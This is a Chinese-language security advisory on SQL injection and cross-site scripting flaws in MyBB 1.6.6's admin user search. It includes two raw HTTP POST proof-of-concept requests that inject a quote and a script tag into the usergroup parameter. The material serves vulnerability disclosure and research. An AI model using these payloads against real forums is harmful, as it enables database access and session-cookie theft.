发布日期：2012-03-27
更新日期：2012-03-29
受影响系统：
MyBB MyBB 1.6.6
描述：
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BUGTRAQ ID: 52743
MyBB是一款流行的Web论坛程序。
MyBB在实现上存在SQL注入漏洞和跨站脚本执行漏洞，利用这些漏洞可允许攻击者执行任意脚本代码、窃取cookie验证凭证、控制应用、访问或修改数据。
<*来源：Aditya Modha
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Aditya Modha （）提供了如下测试方法：
SQL-injection:
POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: ?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1;
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM;
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638
my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2'&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=&conditions%5Baim%5D=
&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card
Cross-site scripting:
POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: ?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1;
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM;
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638
my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2<script>document.write(Date())</script>&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=
&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card
建议：
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厂商补丁：
MyBB
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目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：